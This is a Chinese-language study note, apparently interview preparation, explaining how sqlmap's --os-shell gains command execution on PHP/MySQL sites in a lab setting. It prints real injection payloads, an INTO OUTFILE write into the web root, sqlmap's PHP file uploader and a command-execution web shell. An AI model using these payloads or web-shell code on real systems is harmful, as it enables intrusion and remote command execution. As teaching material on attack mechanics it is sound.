Abstract: SQL注入测试
Table of Contents
- Q&A
- Mysql 数据库进行 DNSlog 外带数据时,以下错误的是
- SQL 语句
1
| SELECT * FROM user WHERE name=".$name." and pass=".$pass."
|
如何登录
- 在 php + mysql 网站中,sqlmap 的 –os-shell 功能原理?
简答:通过 mysql 的 into outfile 或者 into dumpfile 功能,向网站目录中写入 php 代码,用来执行系统命令。
详细原理描述:
- 简单流程
由图片,可以看到如下几步:
- 流量分析:
主要 http 流量有 4 条,
1 2 3 4 5 6 7 8
| id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x34,1024)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBKa&Submit=Submit
# 根据 @@version_compile_os 首字母判断操作系统 id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- EJbF&Submit=Submit
id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x31,451)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- LNMk&Submit=Submit # 开始写入文件 id=1' LIMIT 0,1 INTO OUTFILE '/var/www/html/hackable/uploads/2.php' LINES TERMINATED BY 0x3c3f7068702-- -&Submit=Submit
|
判断操作系统后,开始写入文件,sqlmap 按路径尝试去访问文件 tmpujqbu.php
,通过 POST 上传后门文件 tmpbzhga.php
。
- 文件内容解析
tmpujqbu.php
中的内容就是一个简单的文件上传,并且目标文件的权限设置为 0755,注意这个文件生成利用的 LINES TERMINATED BY
,所以前面会带上 SQL 执行的结果。这里就是 admin admin
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| admin admin <?php if (isset($_REQUEST["upload"])) { $dir = $_REQUEST["uploadDir"]; if (phpversion() < '4.1.0') { $file = $HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } else { $file = $_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } @chmod($dir . "/" . $file, 0755); echo "File uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/hackable/uploads/> <input type=submit name=upload value=upload></form>"; } ?>
|
而 tmpbzhga.php
可以看到就是一个标准用于执行系统命令的后门脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| } elseif (f('shell_exec')) { $w = shell_exec($c); } elseif (f('passthru')) { ob_start(); passthru($c); $w = ob_get_contents(); ob_end_clean(); } elseif (f('popen')) { $x = popen($c, r); $w = NULL; if (is_resource($x)) { while (!feof($x)) { $w.= fread($x, 512); } } @pclose($x); } elseif (f('exec')) { $w = array(); exec($c, $w); $w = join(chr(10) , $w) . chr(10); } else { $w = 0; } print "<pre>" . $w . "</pre>"; ?>
|
访问并执行 ls
命令。
Q&A
原理简述
通过 MySQL 的 into outfile 和 into dumpfile 向网站目录下写入 php 代码,用来执行系统命令。
使用 --os-shell
需要条件
- FILE 权限
- 可写的绝对路径
- PHP GPC OFF
--os-shell
退出后发生什么
会调用后门脚本删除上传文件后,进行自删除。